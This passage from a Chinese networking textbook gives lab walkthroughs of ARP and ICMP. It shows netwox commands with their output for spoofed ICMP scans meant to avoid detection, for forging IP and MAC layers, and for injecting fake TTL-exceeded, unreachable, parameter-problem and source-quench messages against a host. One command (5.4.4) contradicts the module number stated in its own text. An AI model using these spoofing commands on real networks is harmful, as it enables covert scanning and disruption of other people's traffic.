（2）创建虚拟主机192.168.59.136，并向该主机发送ARP响应包，设置MAC地址为00：01：01：21：22：23，执行命令如下：



root@daxueba:~# netwox 80 -i 192.168.59.136 -e 00:01:01:21:22:23



执行命令后没有任何输出信息。

（3）此时再次在主机B上查看主机ARP缓存表信息，执行命令如下：



root@daxueba:~# arp -a



输出信息如下：



localhost (192.168.59.136) at 00:01:01:21:22:23 [ether] on eth0
localhost (192.168.59.132) at 00:0c:29:aa:e0:27 [ether] on eth0
localhost (192.168.59.125) at 00:0c:29:ca:e4:99 [ether] on eth0
localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f8:bb:0f [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0



上述输出信息中，主机192.168.59.136的MAC地址由原来的00：0c：29：bc：a4：89变为了00：01：01：21：22：23。

（4）为了验证发送的ARP响应包，捕获数据包进行查看，如图4.16所示。其中，第27~33个数据包为重复发送的ARP响应包。
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图4.16　ARP响应包


第5章　ICMP协议

控制报文协议（Internet Control Message Protocol，ICMP）是TCP/IP协议族的一个子协议。ICMP协议用于在IP主机和路由器之间传递控制消息，描述网络是否通畅、主机是否可达、路由器是否可用等网络状态。本章将详细讲解ICMP协议的规范和应用方式。


5.1　ICMP协议概述

由于IP协议简单，数据传输天然存在不可靠、无连接等特点，为了解决数据传输出现的问题，人们引入了ICMP协议。虽然ICMP协议的数据包并不传输用户数据，但是对于用户数据的传递起着重要的作用。本节将详细讲解ICMP协议的使用。


5.1.1　ICMP协议作用

数据包在发送到目标主机的过程中，通常会经过一个或多个路由器。而数据包在通过这些路由进行传输时，可能会遇到各种问题，导致数据包无法发送到目标主机上。为了了解数据包在传输的过程中在哪个环节出现了问题，就需要用到ICMP协议。它可以跟踪消息，把问题反馈给源主机。


5.1.2　ICMP报文结构

ICMP报文一般为8个字节，包括类型、代码、校验和扩展内容字段。ICMP报文基本结构如图5.1所示。
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图5.1　ICMP报文结构

其中，类型表示ICMP的消息类型；代码表示对类型的进一步说明；校验和表示对整个报文的报文信息的校验。在ICMP报文中，如果类型和代码不同，ICMP数据包报告的消息含义也会不同。常见的类型和代码的ICMP含义如表5.1所示。

表5.1　ICMP类型、代码及含义
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下面详细讲解每种ICMP类型报文的作用和格式。


5.2　IMCP协议应用——探测主机

如要向目标主机发送数据包，首先需要确保目标主机是启用的。ICMP协议可以用来探测主机，以判断主机是否启用。下面将介绍如何进行探测主机。


5.2.1　使用ping命令

ping命令就是借助ICMP传输协议，发出要求回应的Echo(ping)request消息。若远端主机的网络功能没有问题，就会回应Echo(ping)reply信息，因而得知该主机运作正常。因此用户可以通过ping命令来判断目标主机是否启用。

【实例5-1】判断目标主机192.168.59.135是否启用。

（1）使用ping命令探测目标主机，执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=0.683 ms
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=2.10 ms
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.291 ms
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.283 ms
64 bytes from 192.168.59.135: icmp_seq=5 ttl=64 time=0.339 ms



上述输出信息表示，成功向目标主机发送了ping请求并得到了响应时间，这表示目标主机已启用。如果目标主机未启用将显示以下信息：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
From 192.168.59.132 icmp_seq=1 Destination Host Unreachable
From 192.168.59.132 icmp_seq=2 Destination Host Unreachable
From 192.168.59.132 icmp_seq=3 Destination Host Unreachable
From 192.168.59.132 icmp_seq=4 Destination Host Unreachable
From 192.168.59.132 icmp_seq=5 Destination Host Unreachable



（2）通过Wireshark捕获数据包，验证ping命令所产生的ICMP数据包，如图5.2所示。图中第10～25个数据包都为ICMP数据包。从图中还可以看到ping命令发出的ICMP请求Echo(ping)request与ICMP响应Echo(ping)reply。
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图5.2　ICMP数据包


5.2.2　构造ICMP数据包

ICMP协议可以用来对目标主机发送ICMP数据包，判断目标主机是否启用。正常情况下，ICMP请求包报文中的类型值为8，代码值为0；ICMP响应包报文中的类型值为0，代码值为0。用户可以使用netwox工具的编号65的模块构造ICMP数据包，并对目标主机进行扫描。

【实例5-2】在主机192.168.59.132上，构造ICMP数据包，判断目标主机192.168.59.135是否启用。

（1）构造ICMP扫描，执行命令如下：



root@daxueba:~# netwox 65 -i 192.168.59.135



输出信息如下：



192.168.59.135 : reached



在输出信息中，reached表示目标主机可达。这说明目标主机是启用状态。如果目标主机没有启用，则显示如下信息，其中，unreached表示不可达。



192.168.59.139 : unreached



（2）为了验证以上构造的ICMP数据包，使用Wireshark工具进行捕获数据包，如图5.3所示。其中，第1个数据包的源IP地址为192.168.59.132，目标IP地址为192.168.59.135，Info显示这是一个ICMP请求包。在Internet Control Message Protocol部分中，Type的值为8，Code的值为0，表示该数据包为正常的ICMP请求包。
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图5.3　ICMP请求包

（3）查看第2个数据包，如图5.4所示。该数据包的源IP地址为192.168.59.135，目标IP地址为192.168.59.132，这是第1个数据包的响应包。在Internet Control Message Protocol部分中，Type的值为0，Code的值为0，表示该数据包为正常的ICMP响应包。
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图5.4　ICMP响应包


5.2.3　伪造ICMP数据包

使用5.2.1节和5.2.2节介绍的方式进行ICMP扫描，容易被目标主机发现。为了解决这个问题，可以使用netwox工具中编号为66的模块伪造ICMP数据包，如设置假的IP地址和MAC地址。

【实例5-3】在主机192.168.59.132上实施ICMP数据包扫描，判断目标主机192.168.59.135是否启用。

（1）伪造IP地址为192.168.59.140，MAC地址为00：0c：29：ca：e4：99，执行命令如下：



root@daxueba:~#  netwox 66 -i 192.168.59.135 -E 00:0c:29:ca:e4:99 -I 192.
168.59.140



输出信息如下：



192.168.59.135 : reached



（2）验证伪造的ICMP数据包扫描，捕获数据包进行查看，如图5.5所示。其中，第4个数据包的源IP地址为192.168.59.140（伪造的），目标地址为192.168.59.135（目标主机），该数据包为伪造的ICMP请求包。在Ethernet II部分的Source中可以看到MAC地址为00：0c：29：ca：e4：99，也是伪造的。
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图5.5　伪造的ICMP数据包

（3）选择第7个数据包，查看信息，如图5.6所示。从该数据包可以看到源IP地址为192.168.59.135，目标IP地址为192.168.59.140（伪造的），目标MAC地址为00：0c：29：ca：e4：99（伪造的）。这说明目标主机给伪造的主机返回了ICMP响应。
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图5.6　伪造的ICMP响应包


5.2.4　构造连续的ICMP数据包

在向目标主机发送ICMP请求时，如果主机启用，将返回响应信息。为了持续判断目标主机的状态，需要连续发送ICMP数据包。netwox工具提供了编号为49的模块，用于持续构造ICMP数据包，实时监听目标主机的启用情况。

【实例5-4】构造连续的ICMP数据包，对目标主机192.168.59.135进行扫描。

（1）持续向目标主机发送ICMP请求，执行命令如下：



root@daxueba:~# netwox 49 -i 192.168.59.135



输出信息如下：



Ok
Ok
Ok
Ok
…                                    #省略其他信息



输出信息在持续地显示Ok，表示目标主机已启用。如果目标主机未启用，将不会有任何输出信息。

（2）通过捕获数据包，验证该模块发送的ICMP请求。捕获到的数据包如图5.7所示。图中捕获到了大量的ICMP数据包，其中，第10、12、14、16、18个数据包为构造的ICMP请求包，第11、13、15、17、19个数据包为得到的ICMP响应包。
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图5.7　捕获持续的ICMP数据包


5.2.5　伪造连续的ICMP数据请求包

为了避免被发现，可以使用netwox工具中编号为50的模块伪造连续的ICMP数据请求包。

【实例5-5】伪造连续的ICMP数据包，实时判断目标主机192.168.59.135的启用情况。

（1）伪造实施主机的IP地址为192.168.59.150，MAC地址为aa：bb：cc：11：22：33，指定目标主机的MAC地址为00：0c：29：ca：e4：66，目标主机IP地址为192.168.59.135，进行持续扫描。执行命令如下：



root@daxueba:~# netwox 50 -i 192.168.59.135 -E aa:bb:cc:11:22:33 -I 192.168.
59.150 -e 00:0c:29:ca:e4:66



输出信息如下：



Ok
Ok
Ok
Ok
Ok
…                                    #省略其他信息



（2）通过捕获数据包，验证发送的ICMP伪造包，捕获的数据包如图5.8所示。图中捕获到了大量的ICMP请求包，并且都得到了响应。在这些数据包中可以看到成功伪造的IP地址和MAC地址，而不是真正实施主机的地址。
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图5.8　大量的伪造ICMP数据包


5.2.6　伪造ICMP数据包的IP层

ICMP是位于IP层上的协议。用户可以使用netwox工具中编号为42的模块，对ICMP数据包的IP层信息进行伪造。

【实例5-6】伪造基于IPv4的ICMP数据包。

（1）查看基于IPv4的ICMP数据包的默认值，执行命令如下：



root@daxueba:~# netwox 41



输出信息如下：



IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen                   |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________      |
|              id                     |r|D|M|       offsetfrag        |
|_________0xD03C=53308__________|0|0|0|________0x0000=0_________      |
|      ttl            |   protocol     |           checksum           |
|____0x00=0_____|____0x01=1_____|____________0xE26B_____________      |
|                            source                                   |
|________________________192.168.59.131_________________________      |
|                          destination                                |
|____________________________5.6.7.8____________________________      |
ICMP4_echo reply________________________________________________.
|     type            |     code        |           checksum          |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________      |
|              id                     |            seqnum             |
|___________0x0000=0____________|___________0x0000=0____________      |
| data:                                                               |
|_______________________________________________________________      |



输出信息分为两部分，IP部分表示IPv4层信息，ICMP4_echo reply部分为ICMP响应包部分。这两部分中包含了多个字段信息。例如，IP部分中source的值为192.168.59.131，表示该IPv4数据包源IP地址（本地IP地址），destination的值为5.6.7.8，表示目标IP地址。这里的值均为默认值。用户可以对这些值进行修改，自定义特定的ICMP数据包。

（2）伪造源IP地址为192.168.59.160，执行命令如下：



root@daxueba:~# netwox 41 -l 192.168.59.160 -m 192.168.59.135



输出信息如下：



IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen                   |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________      |
|              id                     |r|D|M|       offsetfrag        |
|_________0xDD2B=56619__________|0|0|0|________0x0000=0_________      |
|      ttl      |   protocol    |           checksum                  |
|____0x00=0_____|____0x01=1_____|____________0xE55A_____________      |
|                            source                                   |
|________________________192.168.59.160_________________________      |
|                          destination                                |
|________________________192.168.59.135_________________________      |
ICMP4_echo reply________________________________________________.
|     type      |     code      |           checksum                  |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________      |
|              id               |            seqnum                   |
|___________0x0000=0____________|___________0x0000=0____________      |
| data:                                                               |
|_______________________________________________________________      |



其中，IP部分的source的值由原来的本地地址192.168.59.131变为了192.168.59.160；destination的值由默认的5.6.7.8变为了192.168.59.135。

（3）通过捕获数据包，验证伪造的ICMP请求包是否被发送，如图5.9所示。图中第4个数据包为伪造的数据包，源IP地址为伪造的地址192.168.59.160，而不是本地IP地址。Ech0(ping)reply表示该数据包为ICMP请求数据包。
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图5.9　伪造IP地址的ICMP数据包


5.2.7　伪造ICMP数据包的Ethernet层

用户不仅可以对ICMP数据包的IPv4层进行伪造，还可以对ICMP数据包的Ehternet层进行伪造。这时，需要使用netwox工具中编号为37的模块。该模块可以伪造ICMP数据包的MAC地址信息。

【实例5-7】基于主机192.168.59.131，伪造ICMP数据包的Ethernet层信息。

（1）查看ICMP包的Ehternet默认值，执行命令如下：



root@daxueba:~# netwox 37



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:AA:E0:27->00:08:09:0A:0B:0C type:0x0800                    |
|_______________________________________________________________      |
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen                   |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________      |
|              id                     |r|D|M|       offsetfrag        |
|__________0x18A0=6304__________|0|0|0|________0x0000=0_________      |
|      ttl      |   protocol    |           checksum                  |
|____0x00=0_____|____0x01=1_____|____________0x9A08_____________      |
|                            source                                   |
|________________________192.168.59.131_________________________      |
|                          destination                                |
|____________________________5.6.7.8____________________________      |
ICMP4_echo reply________________________________________________.
|     type      |     code      |           checksum                  |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________      |
|              id               |            seqnum                   |
|___________0x0000=0____________|___________0x0000=0____________      |
| data:                                                               |
|_______________________________________________________________      |



在以上输出信息中，第一行Ethernet表示ICMP数据包是基于以太网的数据包。默认源MAC地址为00：0C：29：AA：E0：27，目标MAC地址为00：08：09：0A：0B：0C。

（2）伪造源MAC地址为11：22：33：AA：BB：CC，指定目标IP地址为192.168.59.135，MAC地址为00：0C：29：CA：E4：66。执行命令如下：



root@daxueba:~# netwox 37 -a 11:22:33:aa:bb:cc -m 192.168.59.135 -b 00:0c:
29:ca:e4:66 -o 8



输出信息如下：



Ethernet________________________________________________________.
| 11:22:33:AA:BB:CC->00:0C:29:CA:E4:66 type:0x0800                    |
|_______________________________________________________________      |
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen                   |
|___4___|___5___|____0x00=0_____|___________0x001C=28___________      |
|              id                     |r|D|M|       offsetfrag        |
|__________0x246B=9323__________|0|0|0|________0x0000=0________       |
|      ttl      |   protocol    |           checksum                  |
|____0x00=0_____|____0x01=1_____|____________0x9E08_____________      |
|                            source                                   |
|________________________192.168.59.131_________________________      |
|                          destination                                |
|________________________192.168.59.135_________________________      |
ICMP4_echo reply________________________________________________.
|     type      |     code      |           checksum                  |
|____0x00=0_____|____0x00=0_____|_________0xFFFF=65535__________      |
|              id               |            seqnum                   |
|___________0x0000=0____________|___________0x0000=0____________      |
| data:                                                               |
|_______________________________________________________________      |



从Ethernet部分可以看到，源MAC地址由原来的00：0C：29：AA：E0：27变为了11：22：33：aa：bb：cc；目标MAC地址由原来的00：08：09：0A：0B：0C变为了00：0C：29：CA：E4：66；而IP部分Source的值保留原来的值。

（3）为了验证构建的ICMP数据包，可以捕获数据包查看，如图5.10所示。从第6个数据包的Ethernet II部分可以看到，Source的值为11：22：33：aa：bb：cc，是伪造的MAC地址。在Internet Control Message Protocol部分中，Type值为8，Code值为0，表示该数据包为ICMP请求包。
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图5.10　查看伪造MAC地址的ICMP请求包

（4）选择第7个数据包进行查看，如图5.11所示。从该数据包的Ethernet II部分可以看到，源MAC地址为目标主机的MAC地址00：0c：29：ca：e4：66，目标MAC地址为实施主机的MAC地址00：0c：29：aa：e0：27。这表示目标主机成功给伪造MAC地址的主机进行了回复。在Internet Control Message Protocol部分中，Type值为0，Code值为0，表示该数据包为ICMP响应包。
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图5.11　ICMP响应包


5.3　IMCP协议应用——路由跟踪

路由跟踪功能是用来识别一个设备到另一个设备的网络路径。在一个简单的网络上，这个网络路径可能只经过一个路由器，甚至一个都不经过。但是在复杂的网络中，数据包可能要经过数十个路由器才会到达最终目的地。在通信过程中，可以通过路由跟踪功能判断数据包传输的路径。


5.3.1　使用traceroute命令

traceroute命令用来检测发出数据包的主机到目标主机之间所经过的网关。它通过设置探测包的TTL（存活时间）值，跟踪数据包到达目标主机所经过的网关，并监听来自网关ICMP的应答。

【实例5-8】在主机192.168.12.106中，使用traceroute命令探测数据包到达目标www.qq.com
 所经过的路由信息。

（1）进行路由跟踪，执行命令如下：



root@kali:~# traceroute www.qq.com



输出信息如下：



traceroute to www.qq.com (125.39.52.26), 30 hops max, 60 byte packets
 1  localhost (192.168.12.1)        0.297 ms  0.297 ms  0.336 ms
 2  localhost (192.168.0.1)  0.971 ms  0.969 ms  0.964 ms
 3  1.164.185.183.adsl-pool.sx.cn (183.185.164.1) 4.941 ms 5.173 ms 5.511 ms
 4  157.28.26.218.internet.sx.cn (218.26.28.157) 4.554 ms 4.898 ms 5.463 ms
 5  237.151.26.218.internet.sx.cn (218.26.151.237)  37.650 ms 85.135.26.
218.router-switch.sx.cn (218.26.135.85)  15.346 ms 205.151.26.218.internet.
sx.cn (218.26.151.205)  18.777 ms
 6  219.158.15.214 (219.158.15.214)  36.378 ms  38.361 ms  38.319 ms
 7  * * *
 8  no-data (125.39.79.162)  16.932 ms no-data (125.39.79.234)  16.165 ms
no-data (125.39.79.166)  16.766 ms
 9  * * *
10  * * *
11  * * *
···                                                            #省略其他信息



上述输出信息显示了跟踪到的路由地址信息。记录从序号1开始，每个记录就是一跳，而每一跳表示经过的一个网关。记录给出了每个网关对应的IP地址。例如，经过的第2个网关的IP地址为192.168.0.1。其中，为***的记录表示可能被防火墙拦截的ICMP的返回信息。

（2）为了验证traceroute命令探测数据包，使用Wireshark捕获数据包进行查看，如图5.12所示。图中捕获的数据包的目标地址都为192.168.12.106，数据包协议都为ICMP，数据包的源IP地址为进行路由跟踪时所经过的网关地址。因此这些数据包都为路由返回主机192.168.12.106的ICMP包。
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图5.12　返回的ICMP数据包


5.3.2　构造ICMP请求包进行路由跟踪

为了实施路由跟踪，也可以使用netwox工具提供的编号为57的模块，构造ICMP请求包进行路由跟踪，查询经过的路由地址。该工具也是通过设定TTL值的方式向目标发送ICMP请求，每经过一个路由都会得到相应的ICMP响应包，直到目标返回ICMP响应。其中，超时消息的ICMP数据包的报文中类型值为11，代码值为0。

【实例5-9】在主机192.168.12.106上，构造ICMP请求包对目标125.39.52.26进行路由跟踪。

（1）进行路由跟踪，执行命令如下：



root@kali:~# netwox 57 -i 125.39.52.26



输出信息如下：



1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.151.161
6 : 219.158.15.214
8 : 125.39.79.158
14 : 125.39.52.26



输出信息显示了经过的路由IP地址。

（2）通过Wireshark抓包，验证构造的ICMP请求包和对应的响应包，如图5.13所示。其中，第1个数据包是向目标主机发送的ICMP请求包，第2个数据包为经过的第一个路由返回的ICMP响应包，是一个超时消息数据包；第3个数据包是再次向目标主机发送的ICMP请求数据包；第4个数据包为经过的第二个路由返回的ICMP响应包，同样也是一个超时消息数据包。以此类推，直到成功得到目标125.39.52.26返回的ICMP响应信息。

（3）选择任意一个路由返回的ICMP数据包，如图5.14所示。例如，第15个数据包是路由125.39.79.158返回的响应包。在Internet Control Message Protocol部分中，Type值为11，Code值为0，表示该数据包为ICMP超时消息数据包。

（4）选择最后一个数据包进行查看，如图5.15所示。该数据包源IP地址为125.39.52.26（目标的），目标IP地址为192.168.12.106（实施主机的），表示该数据包是目标主机返回构造ICMP请求的主机的数据包。在Internet Control Message Protocol部分中，Type值为0，Code值为0，表示该数据包是一个正常的ICMP响应数据包。
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图5.13　路由跟踪的ICMP数据包
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图5.14　超时消息ICMP包
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图5.15　ICMP响应包


5.3.3　伪造ICMP请求包进行路由跟踪

使用上述方式进行路由跟踪时，容易被目标主机发现。为了避免这种情况，用户可以使用netwox工具提供的编号为58的模块伪造ICMP请求包。它可以伪造主机IP地址和MAC地址。

【实例5-10】在主机192.168.12.106上，伪造ICMP请求包对目标125.39.52.26进行路由跟踪。

（1）伪造源IP地址为192.168.12.130，MAC地址为00：01：02：12：13：14，指定目标IP地址为125.39.52.26，MAC地址为ec：17：2f：46：70：ba，执行命令如下：



root@kali:~# netwox 58 -I 192.168.12.130 -E 00:01:02:12:13:14 -i 125.39.
52.26 -e ec:17:2f:46:70:ba



输出信息如下：



1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.151.161
6 : 219.158.15.214
8 : 125.39.79.158
14 : 125.39.52.26



（2）通过Wireshark抓包，验证伪造的ICMP请求包，如图5.16所示。其中，第3～33个数据包为进行路由跟踪所产生的ICMP数据包，并且可以看到经过的路由返回了超时消息ICMP数据包。
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图5.16　伪造的ICMP请求包

（3）选择第3个数据包，查看地址信息，如图5.17所示。其中，源IP地址为伪造的192.168.12.130，目标地址为125.39.52.26。在Ethernet II部分中，源MAC地址为伪造的00：01：02：12：13：14。
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图5.17　查看伪造的地址


5.4　IMCP协议其他应用


5.4.1　发送ICMP时间戳请求


ICMP时间戳请求允许系统向另一个系统查询当前的时间，但不包含日期。返回的建议值是自午夜零点开始计算的时间（UTC）。ICMP时间戳请求与应答报文格式如图5.18所示。
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图5.18　时间戳数据包报文格式

在发送ICMP时间戳请求时，请求端填写发起时间戳，然后发送报文。应答系统收到请求报文时填写接收时间戳，在发送应答时填写发送时间戳。在请求和响应的交互过程中，当ICMP报文中的类型值为13、代码值为0时，数据包为ICMP时间戳请求数据包；当ICMP报文中的类型值为14，代码值为0时，数据包为ICMP时间戳应答数据包。netwox工具提供编号为81的模块，用于构建时间戳请求。

【实例5-11】向目标主机192.168.59.135发送ICMP时间戳请求，探测数据包传输的时间。

（1）发送ICMP时间戳请求，执行命令如下：



root@daxueba:~# netwox 81 -i 192.168.59.135



输出信息如下：



0 0



输出信息表示目标主机可达，如果目标主机不可达，将显示信息如下：



No answer.



（2）可以通过Wireshark进行抓包，验证成功发送了时间戳请求，如图5.19所示。其中，第6个数据包为ICMP时间戳请求。在Internet Control Message Protocol部分中，Type值为13，Code值为0，表示该数据包为ICMP时间戳请求。Originate timestamp的值表示数据包发起的起始时间，这里为0秒（午夜0点0秒）；Receive timestamp的值表示接收数据包的时间，这里为0秒；Transmit timestamp的值表示数据包的发送时间，这里为0秒。时间为0秒，是因为从午夜零点开始计算。
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图5.19　ICMP时间戳请求

（3）选择对应的响应包查看信息，如图5.20所示。其中，第7个数据包为ICMP时间戳应答。在Internet Control Message Protocol部分中，Type值为14，Code值为0，表示该数据包为ICMP时间戳应答。Originate timestamp的值表示数据包发起的起始时间，这里为0秒（午夜零点后开始计算）；Receive timestamp的值表示接收数据包的时间，这里为午夜零点后8小时44分24.379秒；Transmit timestamp的值表示数据包的发送时间，这里为31464379秒，时间为午夜零点后8小时44分24.379秒。
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图5.20　ICMP时间戳应答


5.4.2　伪造请求超时ICMP数据包

在网络传输IP数据报的过程中，如果IP数据包的TTL值逐渐递减为0时，需要丢弃数据报。这时，路由器需要向源发送方发送ICMP超时报文，表示传输过程中超时了。在超时ICMP数据包报文中，类型值为11，代码值为0。用户可以通过netwox工具中编号为83的模块伪造请求超时ICMP数据包。

【实例5-12】已知主机A的IP地址为192.168.59.134，主机B的IP地址为192.168.59.135，在主机C上伪造请求超时ICMP数据包。

（1）在主机A上ping主机B，执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=0.447 ms
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.468 ms
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.773 ms
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.307 ms



上述输出信息表示主机B是可达的，并且给出了传输的时间。例如，time=0.447ms，表示时间需要0.447毫秒。

（2）在主机C上伪造请求超时ICMP数据包，设置源IP地址为192.168.59.135，执行命令如下：



root@daxueba:~# netwox 83 -i 192.168.59.135



执行命令后没有任何输出信息，但是成功伪造了请求超时ICMP数据包。

（3）再次在主机A上ping主机B，执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=6 ttl=64 time=0.336 ms
From 192.168.59.135 icmp_seq=6 Time to live exceeded
64 bytes from 192.168.59.135: icmp_seq=7 ttl=64 time=0.532 ms
From 192.168.59.135 icmp_seq=7 Time to live exceeded
64 bytes from 192.168.59.135: icmp_seq=8 ttl=64 time=0.495 ms
From 192.168.59.135 icmp_seq=8 Time to live exceeded



从上述输出信息可以看到，主机A向主机192.168.59.135发送了ping请求。部分请求没有收到响应信息，而显示了Time to live exceeded信息，表示时间超时。

（4）为了验证伪造的请求超时ICMP数据包，可以通过捕获数据包查看，如图5.21所示，捕获到了若干个ICMP超时数据包。其中，第3个数据包的源IP地址为192.168.59.134，目标IP地址为192.168.59.135，是主机A向主机B发送的ICMP请求包；第5个数据包源IP地址为192.168.59.135，目标IP地址为192.168.59.134，Info列显示的Time-to-live exceeded表示时间超时，说明该数据包为伪造的请求超时ICMP包。
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图5.21　捕获的ICMP包

（5）选择第5个数据包，查看包信息，如图5.22所示。在该数据包的Internet Control Message Protocol部分中，Type值为11，Code值为0，说明该数据包是请求超时ICMP数据包。
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图5.22　请求超时ICMP数据包


5.4.3　伪造目标不可达

目标不可达包是指路由器无法将IP数据包发送给目标地址时，会给发送端主机返回一个目标不可达的ICMP消息。在目标不可达报文中，类型值为3，代码值为1。伪造这类数据包需要使用netwox工具中编号为82的模块。

【实例5-13】已知主机A的IP地址为192.168.59.134，主机B的IP地址为192.168.59.135，在主机C上伪造目标不可达ICMP数据包。

（1）在主机C上伪造目标不可达ICMP数据包，设置源IP地址为192.168.59.135，执行命令如下：



root@daxueba:~# netwox 82 -i 192.168.59.135



执行命令后没有任何输出信息，说明成功伪造了目标主机不可达ICMP数据包。

（2）在主机A上ping主机B，执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=3.95 ms
From 192.168.59.135 icmp_seq=1 Destination Host Unreachable
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.608 ms
From 192.168.59.135 icmp_seq=2 Destination Host Unreachable
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.341 ms
From 192.168.59.135 icmp_seq=3 Destination Host Unreachable
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.499 ms
From 192.168.59.135 icmp_seq=4 Destination Host Unreachable



从上述输出信息可以看到，主机A向主机192.168.59.135发送了ping请求，但是部分请求没有得到响应信息，而显示了Destination Host Unreachable信息，表示目标主机不可达。

（3）为了验证伪造的目标不可达ICMP数据包，可以使用Wireshark抓包查看，如图5.23所示，捕获到了若干个ICMP数据包。其中，第3个数据包的源IP地址为192.168.59.134，目标IP地址为192.168.59.135，是主机A向主机B发送的ICMP请求包；第5个数据包的源IP地址为192.168.59.135，目标IP地址为192.168.59.134，Info列显示的Destination unreachable(Host unreachable)表示目标主机不可达，说明该数据包为伪造的目标不可达ICMP数据包。
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图5.23　捕获的ICMP数据包

（4）选择第5个数据包，查看包信息，如图5.24所示。在该数据包的Internet Control Message Protocol部分中，Type值为3，Code值为1，说明该数据包是目标不可达ICMP数据包。
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图5.24　伪造目标不可达ICMP数据包


5.4.4　伪造参数错误ICMP数据包

当路由器或主机处理数据报时，发现因为报文头的参数错误而不得不丢弃报文时，需要向源发送方发送参数错误报文。该报文中，类型值为12，代码值为0。伪造这类数据包需要使用netwox工具中编号为84的模块。

【实例5-14】已知主机A的IP地址为192.168.59.134，主机B的IP地址为192.168.59.135，在主机C上伪造参数错误ICMP数据包。

（1）在主机C上伪造参数错误ICMP数据包，设置源IP地址为192.168.59.135，执行命令如下：



root@daxueba:~# netwox 82 -i 192.168.59.135



执行命令后没有任何输出信息，但是会伪造参数错误ICMP数据包。

（2）在主机A上ping主机B，执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=11.1 ms
From 192.168.59.135 icmp_seq=1 Parameter problem: pointer = 0
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.546 ms
From 192.168.59.135 icmp_seq=2 Parameter problem: pointer = 0
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.453 ms
From 192.168.59.135 icmp_seq=3 Parameter problem: pointer = 0



从输出信息可以看到，主机A向主机192.168.59.135发送了ping请求，但部分请求没有得到响应信息，而显示了Parameter problem信息，表示参数错误。

（3）通过捕获数据包，验证伪造的参数错误的ICMP数据包，如图5.25所示，捕获到了若干个ICMP数据包。第1个数据包的源IP地址为192.168.59.134，目标IP地址为192.168.59.135，是主机A向主机B发送的ICMP请求包；第3个数据包的源IP地址为192.168.59.135，目标IP地址为192.168.59.134，Info列显示的Parameter problem表示参数错误，说明该数据包为伪造的参数错误ICMP数据包。
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图5.25　捕获的ICMP数据包

（4）选择第3个数据包，查看包信息，如图5.26所示。在Internet Control Message Protocol部分中，Type值为12，Code值为0，说明该数据包是参数错误ICMP数据包。

[image: ]


图5.26　参数错误ICMP数据包


5.4.5　伪造源站抑制ICMP数据包

主机在处理报文时会有一个缓存队列。当主机接收数据包的速度比处理速度快时，一旦超过最大缓存队列，主机将无法处理，从而选择丢弃报文。这时，主机会向源发送方发送一个ICMP源站抑制报文，告诉对方缓存队列已满，稍后再进行请求。在这种类型的报文中，类型值为4，代码值为0。伪造这类数据包需要使用netwox工具中编号为85的模块。

【实例5-15】已知主机A的IP地址为192.168.59.134，主机B的IP地址为192.168.59.135。在主机C上伪造源站抑制ICMP数据包。

（1）在主机C上伪造源站抑制ICMP数据包，设置源IP地址为192.168.59.135，执行命令如下：



root@daxueba:~# netwox 85 -i 192.168.59.135



执行命令后没有任何输出信息，但是成功伪造了源站抑制ICMP数据包。

（2）在主机A上ping主机B，执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=1.77 ms
From 192.168.59.135: icmp_seq=1 Source Quench
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.429 ms
From 192.168.59.135: icmp_seq=2 Source Quench
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=18.8 ms
From 192.168.59.135: icmp_seq=3 Source Quench



从输出信息可以看到，主机A向主机192.168.59.135发送了ping请求，但是部分请求没有得到响应信息，而显示了Source Quench信息，表示源站抑制。

